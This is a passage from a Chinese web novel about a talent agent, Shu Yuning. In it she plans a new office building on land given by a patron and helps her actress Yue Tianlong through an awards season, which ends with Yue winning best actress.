“那你觉得这个地皮造什么最合适。”
“也只有写字楼了。”
“写字楼啊……”赵启程看起来对这个规划，兴趣缺缺。她名下有好多写字楼，光收租，这个钱就几辈子花不完。
舒誉宁开了个玩笑：“要是能给我一栋该多好啊。”
“好啊，就把这块地皮给你了。”
“啊？”
舒誉宁风中凌乱。她扶了一把头上的安全帽，确定自己的安全帽并没有损坏，也没有因为砸到掉下来的脚手架而产生幻觉。
赵启程好笑地反问她：“不想要？”
“姐，我开玩笑的。随口一说，你别往心里去啊！”
“我是认真的！”
所以，赵启程才特意让舒誉宁过来，让她陪自己看这块地皮。赵启程拍下这块地皮也不是巧合，她是一早就想好了，把这块地皮拍下来，送给舒誉宁。
“不过，如果你介意这里以前ACT大楼的话，我也理解。”
“我不介意，我当然不介意。”
真要算起来，无论是这块地皮还是以前ACT的大楼，都是舒誉宁赚来的。她本来就该是这栋大楼的主人。只是没想到，这块地会以这样的方式交到自己手里。
“那这块地和这栋楼就交给你啦。等工程竣工，你按照自己喜欢的样子装修就行。”
晚上，舒誉宁躺在床上，怎么也睡不着。她一想到，自己得到了一栋新的办公大楼，就想笑。傅明宇打开床头的阅读灯，拿出施工图纸，和她一起畅想这栋楼最后的样子。
这栋大楼，总共10层，顶楼还有个露台。对于一家娱乐公司来说，已经是很大的空间了。
傅明宇问她：“你想怎么弄？”
“顶楼我们做空中花园，可以办一些沙龙和派对。留个三层，给你、千杉和越天珑做工作室。至于其他的吗，除了办公室、会议室、茶水间、食堂、健身房这些，我想弄个电影院。”
舒誉宁规划，专门搞一间电影院，还是杜比全景声厅。但是这个影厅不收费，她计划搞公益影院，专门组织小朋友或者老人来看免费看电影。
“好，以后我的电影只在那里放。”
“那不行。该赚的票房钱还是要赚的。”公益和收益，舒誉宁一直分得很清楚。
除了电影院，舒誉宁还想搞个按摩房，再聘请一些专业的按摩师。作为员工福利，免费地提供按摩服务。
傅明宇不太理解：“这个有必要么？”
“太有必要了。你不是前几天还说，剪片子剪得脖子疼吗？”
傅明宇一旦进入工作状态，能连续十多个小时坐在电脑前看片子、剪片子。有一次，舒誉宁带他去中式推拿馆。推拿师说，他的肩颈周围劳损得太严重，脖子硬得可以当锤头用。不仅是
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傅明宇，舒誉宁也有脊柱侧弯和腰肌劳损的问题。上次推拿师给她腰部那里按了按，疼得她满脑袋冷汗，连叫都没力气叫。她这才意识到，工作这么多年下来，有多忽视自己的身体情况。
“你就不想想，自己的办公室放哪里吗？”
舒誉宁规划了半天，竟然忘了自己的办公室。
她现在的办公室，还是一间只有20多平方米的办公室。有时候她忙得晚了，就缩在办公室的小沙发里凑合一晚。傅明宇说过好几次，让她搬个大点的办公室。舒誉宁却总觉得无所谓。她平常总在各地跑，办公室也只是临时呆上一会儿，并没有什么太高的要求。
傅明宇的建议，她的办公室放在第10楼，也就是顶楼。她是老板，自然要有老板的排面。
“那不是太浪费空间了？”
“有何不可！”
傅明宇替她想好了，10楼不仅是她的私人办公室，也是她的休息室、会客室。就连餐厅、洗手间和健身房，都是她这个大老板的专用。这样，在体现她身份的同时，整个楼层也不会显得太空旷。
“不行。”舒誉宁还是拒绝了，“整层楼就我一个人，说话都有回声。太恐怖了。”
想象一下，她一个人呆在10楼。看上去很自由，很高贵，但其实太孤独了。
傅明宇想了想，她说的也在理。如果10楼只有她一个人，安静得连个聊天的人都没有，一定会把她闷坏的。
“这样吧。你在你的办公室门口隔出一个小间，留给琪琪。她和你一起办公，你不仅能有个人陪。如果你们有事要对接，也方便。”傅明宇顿了一下说，“而且，只要你有需要，一个电话，我就来陪你。”
到时候，舒誉宁再在自己和他之间铺一条专属的电话线，别人都打不进来的那种。只要舒誉宁无聊了，想他了，按一下电话，傅明宇马上上来找她。
听上去很浪漫，但是舒誉宁想到这个场景就觉得很好笑。傅明宇接到一个没有任何声音的电话，然后偷偷摸摸地坐电梯上来，钻进自己的办公室。怎么感觉这段关系，这么见不得光？
“这怎么像职场潜规则啊？”
“我被你潜也不是一天两天了。”
傅明宇乐在其中。他对自己是舒誉宁的小白脸这件事，感到十分自豪。
两个人一直规划到深夜，越说越天马行空。要不是场地有限，舒誉宁恨不得搬个大超市进大楼。
“看来这栋楼还不够大！”
舒誉宁有些懊恼，怎么就把超市忘了呢？谁小时候没做过开个超市，实现零食自由的梦啊！可是等她规划完了，发现超市早就没地方塞了。
“那你把给我的那一层分出一半开超市就好了，我不用这么大的地方。”
“不行，你的那一层还要放设备。”傅明宇的那一层，除了是他的工作室，舒誉宁还规划成了一个小型的电影博物馆。到时候，那些来看公益电影的人，还可以在这里了解一些电影的历史，科普电影相关的知识。所以，他的那一层不能省出多余的空间来。
“那这样吧。等我多拍两部电影，给你赚多点钱。我们再建一栋新的大楼，专门留一层，给你开超市。”
“说定了？”
“说定了！”
50. 结束与开始
越天珑的电视剧收官了。最高收视创下所有电视台全年的收视记录，双平台的热度总计破3万。并且，总台这里刚收官，国内的四大卫视就已经在筹备第二轮播出了。
然而，最高兴的不是越天珑，而是赵启程。电视剧的影响力远超她的预期。播出期间相当于每天都在放出利好消息，直至收官那天，她的集团股票还在一路高歌。
收官庆功宴上，赵启程官宣了一个重磅消息——聘请舒誉宁和越天珑为集团的荣誉总裁。
受宠若惊的两个人说什么也不愿意接受这份厚礼。赵启程却不以为然，一定要她们收下。
“我的集团我做主，不然我创业这么多年，白混了？给你们就拿着！”
“谢谢姐。”
庆功宴结束，越天珑屁颠屁颠地凑到舒誉宁身边：“大经纪人，我这次这么棒，你不应该送我点礼物吗？”
“走，给你挑‘礼物’去。”
舒誉宁一脚油门，把越天珑送到新大楼楼下。前几天刚举行封顶仪式，现在已经可以看到大楼的整体情况。
“这是程姐给的，我借花献佛。你挑一层做你的工作室。你想怎么装修都行，我出钱。”
“没想到你兜兜转转，最后还是回到了这里。”
越天珑也认出来，这是以前ACT的大楼。
“也挺好的。”舒誉宁回答，“这栋楼的地址，当时就是我选的。那时多美好啊，一切都有了盼头。”
但也仅仅是个盼头。她的美好人生，断送在这里。此时，又重新在这里开始。
“我还记得我第一次去找你。我想，这什么地方啊。地下车库的灯都是坏的。感觉就像一个……”
“一个草台班子。”
说到这里，舒誉宁和越天珑哈哈大笑。
选了一圈，越天珑最后选了一个很吉利的数字，6。
舒誉宁不接：“你为什么不选8？”
“七上八下你不知道啊？”中国人爱讨口彩的一生。
“那你又不选7。”
“留给千杉吧。”
选好了楼层，越天珑开始认真地规划起来自己的工作室。她说，她要一个私人的试衣间。以后有品牌方来找她，可以在那里直接试。品牌方送来的样衣也可以存放在那儿。除此以外，她还需要一间小猫房。房间里要放上猫爬架、猫砂盆和足够多的猫玩具。前不久，她和小林在片场捡了两只猫，正愁没地方养。她要求舒誉宁把小猫房弄得大一点，温暖一点，采光好一点。这样，小猫不仅有地方住，还可以随性玩，玩累了可以趴在窗口晒太阳。
舒誉宁一一记下来，会全部满足越天珑。
“就先这些吧，以后想起来再跟你补充。”
“知道啦，我的祖宗！”
回去的路上，舒誉宁发现，刚刚还情绪高涨的越天珑，现在的情绪有些低落。她仔细回想，刚才也没发生什么特别的事情啊。
“怎么了？看你不开心。”
“舒誉宁，你说我这次能拿奖吗？”
这部电视剧，让越天珑向观众证明了自己的实力，也吸了很多粉。但还是有很多人不喜欢她。他们说她是沾了角色的光，也有说她是因为舒誉宁这个内娱最强经纪人才争取到了这部电视剧，这部电视剧谁演谁火，和她本人并没有关系。也有不少人拿她和千杉比较，千杉年纪轻轻，出道比她晚很多年，已经拿下了国际电影大奖，而她还两手空空。
舒誉宁知道，越天珑表面看上去咋咋呼呼，总是一副女王的样子。但是她内心很敏感。她很自信，有时候，又没那么自信。对于这些言论，她依旧在乎，在乎得要命。
“说起来，你觉得哪个演员不是沾了角色的光？”
这个问题，把越天珑问住了。她恍然大悟，对哦，哪个演员不是沾了角色的光？自己有什么好焦虑的。
现在的一些粉丝，总是会弹性地探讨角色和演员的关系。演员成绩好，就是他们自己努力，只字不提角色的设定。但是，这个角色一旦不好，那就是人剧分离，角色设定别上升演员。
可是，演员和角色，怎么可以分开讨论？角色通过演员的演绎，从薄薄的几张纸上变成了一个活生生的人。演员通过角色的设定，去表现自己的演技水平，用表演的方式来告诉观众，这个角色是个什么样的人。
想到这里，越天珑都觉得自己有些矫情：“哎呀，我就是……就是……算了，说不清楚，不说了。”
“好，先不说这个。说点开心的。”
舒誉宁给越天珑看了三封邮件，分别来自国内最顶尖的三个电视剧奖。
“哇！”越天珑不可置信地捂住嘴巴，“神仙速度啊，这么快就报名了？”
“我有信心，你可以拿视后。我还希望你一串三。”
所谓“一串三”，就是演员靠同一个角色横扫三个大奖。在国内电视剧的历史上，“一串三”的演员，至今没超过10个。
“你比我还敢想。”
网上有很多人预测下一届视后的人选，越天珑呼声很高。但大部分人，包括她自己，也只认为至多能拿两个，并没有什么“一串三”的可能性。
说到这里，舒誉宁突然想起什么来，她跟越天珑说：“一会儿没事儿吧，带你去个地方。”
“干嘛？”
“去了你就知道。”
不知道开了多久，舒誉宁才在一栋很有设计感的别墅门口停下。一般的别墅，长得都差不多。通常有2-3层楼高，不是欧式就是美式，门口再挖个泳池。
这栋别墅，在远处看，像几个集装箱错落在一起。走近了才发现，这些集装箱是是一间间是木质结构的房间。每层楼之间，用流畅的线条相互隔开的同时，又保证了彼此相连。
想来这栋别墅的主人，一定十分懂设计。
“这是哪里啊？莫不是哪个大老板的私宅？”
舒誉宁故作神秘地笑笑，不作答。她按了门口的人脸识别锁，“嘀——”一声，门锁打开了。这么说，这栋别墅录有舒誉宁的信息。难道是她的别墅？
不可能不可能。越天珑分析，如果是舒誉宁买了别墅，她不可能不跟自己说。并且，她也不认为舒誉宁有这样独特的设计品味……
别墅内部很深，要不是熟悉的人，怕是找不到方向。舒誉宁倒是轻车熟路，一路带着越天珑往深处走去。这让越天珑心里越来越好奇，舒誉宁和别墅主人到底是什么关系。
终于，来到了最后一扇门，舒誉宁敲开了门，探进去半个身子。
“兰素老师，打扰啦！”
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>这竟然是兰素的别墅！难怪呢，这栋别墅这么有设计感！在她们认识的人里，除了兰素，谁还能有这样独特的设计品味。
“进来吧，茶给你们倒好了。”
越天珑兴冲冲地跑进去，握着兰素的手：“兰素老师，你什么时候搬地方了，我都不知道！”
“是我不让阿宁告诉你们的。我只是搬个工作室而已，不想为这件事打扰你们。”
“乔迁礼物我过几天给你补上。毕竟是乔迁，还是要送的。”
“先谢谢了。”
兰素现在可是国内最有名的独立服装设计师，以前的工作室已经和她现在的身份、客人的身份不匹配了。因此，她找了这个地方。舒誉宁是她新工作室的第一批客人，也是她第一位VIC。所以，舒誉宁在门口录了自己的信息，可以自由出入她的别墅。
舒誉宁和兰素很熟了，没有过多的寒暄，而是直接切入主题：“这次找你，是为了给我们未来的视后设计战袍。三个颁奖典礼，最起码六套衣服。”
“没问题。”
越天珑都觉得这有点太早了。这才刚刚报名，颁奖典礼在什么时候还不知道呢，怎么就要设计礼服了？
“不早不早，六套衣服，需要时间的。慢慢准备。”
说着，兰素拿出工具给越天珑测量尺寸。她的身材一直保持得很好，过去两年多了，依然没什么变化。
服务这样的客户，兰素很开心。她拿了几条样衣出来，都是她最新设计的作品，绝对保密款。要不是舒誉宁带着越天珑过来，恐怕她还保密着，不给任何人看。
不过这些衣服好看是好看，登上时装周或者时尚杂志，肯定一鸣惊人。但是怎么看，都感觉不太符合越天珑现在的人设。
“要不，试试裤子？”
“裤子？”
兰素很惊讶。她从来没见过红毯上的女艺人是穿裤子的。因为按照国际礼仪，重大场合，男人穿西装，女人穿礼裙。
舒誉宁却对这种老掉牙的国际礼仪不以为意：“这种规则都是男人定的，现在该女人定了。兰素老师，麻烦你找几条好看一点的，裤子。”
“OK！”
一连试了两个小时，越天珑和兰素累得不行，也没找到合适的衣服。舒誉宁提议，先休息一下，一会儿去吃晚饭，她请客。
休息期间，三个人各自刷着手机。突然，一条热搜窜上了第一的位置。
【飞升奖提名名单公布：优秀女演员提名的有xxx,xx,xxx……】
舒誉宁看了好几遍，就是没看到越天珑的名字。她还以为是自己眼花了。
“你们，看到热搜第一了么？”
“看到了……”
她们三个的表情，各有各的复杂。有的伤心，有的意外，有的不可置信。
舒誉宁定了定神，往下翻着评论。
【有没有搞错，没有越天珑？】
【黑幕吧，她不可能连提名都没有！】
看来，不是舒誉宁看错，而是真的没有越天珑。
越天珑很难过，只是故作轻松地缓解此刻的气氛：“没事啦，获奖这种事本来就讲究天时地利人和。没有也很正常。”
“不正常！”舒誉宁断定，“我要去问问，到底怎么回事。”
51. 第 51 章
“那这个衣服……”兰素有些不自信地开口。
在颁奖典礼上，只有提名候选人才有资格入场。而越天珑连提名都没有，这意味着衣服也不用做了。
“继续做。6套，一套都不能少。”
舒誉宁觉得很奇怪，飞升奖的报名刚刚结束，连入围名单都没有出来，怎么先出提名名单了？她本以为是哪个营销号炒作。于是她再三确认，这份名单的确是飞升奖的官号发出来的。
她看了一下往届飞升奖的名单公布。每年的时间会略微有些差异，但基本都在这个月。这样分析下来，这份名单的可信度不低。保险起见，舒誉宁还是打算先联系一下组委会。
她从通讯录里翻出来组委会联系人的电话，打了过去。很奇怪，没人接。
难道是名单刚刚公布，需要联系的媒体太多了？舒誉宁想了想，给阿May打了电话。他们是飞升奖的合作媒体之一，说不定他们那里有什么风声可以透露一下。
“飞升奖的组委会啊？我们也联系不到。”
在舒誉宁之前，阿May早就联系过了，结果也和舒誉宁一样，没人接。
在媒体那边，他们自己会拟定一个预估名单。通过这一年的剧集情况，定下几个他们认为可能性比较大的获奖演员，提前准备好稿子。这样一来，等名单一出来，新闻稿就可以实时发送，不会有任何的滞后性。越天珑，就是他们这次的预估名单之一。
提名名单上没有越天珑别说观众了，媒体方都没想到。这下，他们准备的新闻稿，还要推翻重来。
在其他人埋头改稿之际，阿May凭借自己媒体人敏锐的直觉，觉得这份名单一定有问题。现在组委会失联了，让这份名单看上去更有问题了。
舒誉宁提出了一个不太靠谱的猜想：“不会是发错了吧。”
指不定是官号皮下的哪个管理员，发名单的时候弄错。这个猜测听上去很扯，但这是眼下最大的可能性。
“只能等他们回应了。半个小时内，还没有任何声明，那这份名单就是板上钉钉了。”
没到半个小时，甚至10分钟都没到，这份名单就从网上消失了。飞升奖的官号也及时发布了声明。
事情的经过很简单。在今天，组委会是打算分批公布入围名单的。本届飞升奖总共入围30部电视剧，男女演员奖也是各30个演员。每10分钟公布5个，总共6批，一个小时内发完。然而在发送第一批名单的时候，管理员把“入围”弄成了“提名”，才闹出这件事。
经过这次的错误，组委会也不搞分批公布那一套了，直接把30个入围演员全部公布了出来。越天珑的名字，赫然在列。
网上的评论也精彩纷呈：
【在你捅娄子的时候，想想飞升奖，你捅的篓子难道还能比这个大？】
【这份名单才正常吗！】
【世界就是一个巨大的草台班子，这都能出错？】
舒誉宁对这句话，深表赞同。
看到了正常的名单，越天珑开心多了。她的内心，还是十分看重这次的飞升奖的。
飞升奖是国家级奖项，在所有的电视剧奖项里含金量最高。如果说，收视率是观众的认可，那么飞升奖，就是国家的认可。与其说，这是一个奖项，不如说，这是一个演员在职业生涯上的里程碑。
开心之余，她还不忘问舒誉宁，是不是早就知道这份名单有问题。
舒誉宁如实回答：“不知道啊。我心里也没底。”
“那如果这份名单是真的，你怎么办？”
说真的，舒誉宁也不知道怎么办。难不成还非要让组委员，给个说法？她之所以想确认这份名单的正确性，无非是她认为越天珑值得而已。仅此而已。
这下，兰素也可以安心做礼服了。
她根据舒誉宁的要求，给越天珑做了几件裤装。
其中有一件，上身是复古衬衫，两肩处做了垫肩的设计，增加了上半身的一个量感。这个设计让越天珑的肩部线条更加流畅，同时还多了几分硬朗。脖子上挂着一条造型很夸张的白金吊坠，坠子上挂的是一个张开大嘴嘶吼的狮头。
下身是垂感十足的黑色高腰裤，走起路来，裤脚随着穿衣人的步伐摇曳。腰带上有珍珠和铆钉，复杂的设计和沉闷的黑色，相得益彰。
“飒！”
换上这件衣服后，越天珑在试衣间里走了一圈。舒誉宁看到后，便给了这么一个字的评价。
单单一个字，便是对这套衣服最大的肯定。
穿上这套衣服，让平时就很张扬的越天珑，看上去更不好惹。这个气场，和她饰演的女企业家形象，十分契合。
“就是它了。”越天珑很罕见的，没有对衣服再提出任何修改意见，“我的飞升奖战袍。”
在入围名单出来的两周后，提名名单也终于公布。
越天珑，成功提名。
看到自己被提名的那一刻，越天珑有点想哭。正如她所说的，她其实很在乎外界对自己的一切评价。长久以来，大众对她的印象就是花瓶、流量咖、爱炒作。她也无数次安慰自己，有流量就很好了。虽然自己总是被黑，可自己是顶流啊！她现在终于一点一点撕下自己身上讨人厌的标签，在往一个好演员的方向发展。
“别哭。”舒誉宁捏捏她的肩膀，安慰她，“所有的眼泪在领奖台上流，你一定可以站上领奖台的。”
万众瞩目的飞升奖终于到来。由于飞升奖自带的严肃属性，艺人们在选择礼服上，并不会像时尚盛典或者盛业晚会上，一味地争奇斗艳，而是普遍选择低调保守的款式。只是这样的服装选择，难免乏味。媒体们拍了几组，发现大家的穿搭似乎都差不多，只能草草拍几张应付了事。
越天珑的出现，再次点燃了红毯上所有人的热情。
她穿着一身飒爽利落的衣裤，大步流星地踩在红毯上。仿佛这里是她的主场。
记者们扛着摄像机就对着她一顿狂拍。越天珑一向很有艺人的修养，面对围绕着她一圈的闪光灯，眼睛都不眨一下。
“天珑姐，看这边。”
“越老师今天很帅哦，是不是对拿奖很有自信啊？”
越天珑看向那个记者：“难道你对我没信心吗？”
“哇！”
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“哦！”
记者们的欢呼声，此起彼伏。
舒誉宁在一旁看着，叹服地摇摇头。她很早就听说，不少记者评选她为最受媒体欢迎的艺人。她只需要一句话，可以让记者们又有了新的报导素材。
飞升奖的颁发一向很慢。不仅要颁奖，还要在中间要穿插一些短片、文艺表演，还有各种领导讲话的环节。领导们的官腔，舒誉宁刚听了几个字就犯困。她看了一圈台下的艺人，基本上也都陷入了神游状态。只有越天珑，挺胸抬头，眼神明亮地看着台上口若悬河的领导。
她这人，如果去打工上班，也是领导最喜欢的那种下属吧。
眼看都晚上10点了，颁奖典礼的进程才终于到了“优秀女演员奖”的环节。
“接下来，有请颁奖嘉宾，文艺基金会代表：赵启程。”
优秀女演员奖的颁奖嘉宾竟然是赵启程！她事先没说过啊！
在主持人的介绍之下，赵启程走上了台。她穿了一身香槟色的礼服，头发盘在脑后，相比她平常企业家的形象，多了一丝温婉。
主持人让她在话筒前停步，对她做了一个简短的小采访。
“赵理事长，您好。欢迎您来到我们飞升奖的现场。作为颁奖嘉宾，您有什么想和大家分享的吗？”
“作为文艺工作者，这里的每一位演员、导演、编剧，都是我的前辈。我在五年前，开设了文艺基金会。这些年来，也一直都是摸着石头过河。还好，我很幸运，遇到了一些志同道合的朋友。她们有着丰富的经验和对文艺工作的热情，一直带领着我。我才能有幸站到这个台上。”
说到这里，赵启程对着舒誉宁和越天珑眨眨眼。她口中的“朋友”，说的就是她们。
采访之后，赵启程打开了自己手中的信封。
她看着上面的名字，会心一笑：“我宣布，第35届中国电视飞升奖，获得优秀女演员的是……”
赵启程故意停顿了一下。在这个间隙，舒誉宁的手突然被越天珑紧紧握住了。她能感受到，越天珑手心里，全是汗。
“《山间海下》，越天珑！”
纵使已经做好了充足的准备，当真正听到自己名字的那一刻，越天珑还是抑制不住内心的激动。她又是笑又是高声欢呼，给了舒誉宁一个大大的拥抱。
拥抱过后，越天珑疾步奔走上了台。在这种场合之下，作为领奖人，应该是得体端庄的。可是，管他呢，她开心就好！。
越天珑上台，在接过奖杯之前，也给了赵启程一个拥抱。赵启程拍了拍她的背，把奖杯交给她，便走下了台。
握着奖杯的越天珑，站在话筒前，调整着呼吸。
“呼——”她按着胸口，平复着自己的心情，让自己先冷静下来。
她会说什么呢？舒誉宁很好奇。这一次，她也没有给越天珑准备获奖感言。她本以为，越天珑会哭，可是她没有。
“我——”越天珑终于开口了。只见她把奖杯高举过头顶，毫不保留地展示着自己的喜悦。
不知为何，舒誉宁有点紧张。这个祖宗，不会在领奖台上，出洋相吧？